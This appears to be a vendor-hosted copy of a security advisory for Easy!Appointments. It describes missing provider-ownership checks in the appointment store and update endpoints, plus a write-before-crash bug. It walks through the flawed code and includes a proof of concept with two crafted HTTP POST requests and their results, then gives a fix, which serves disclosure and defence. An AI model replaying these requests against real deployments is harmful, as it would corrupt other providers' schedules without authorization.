Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w8xc-8g92-v77h
No affected components available
Summary
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error — type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
- Inject fake appointments into a colleague's schedule causing confusion and double-bookings
- Move their own appointments into another provider's calendar to hide or offload them
- Disrupt scheduling integrity for staff and customers
- Create unauthorized appointments that customers and admins attribute to the wrong provider
The write-before-crash bug in
store()makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.
Suggested Fix
In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Reporter
Yash Shendge (ashrexon) 2026-05-25
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard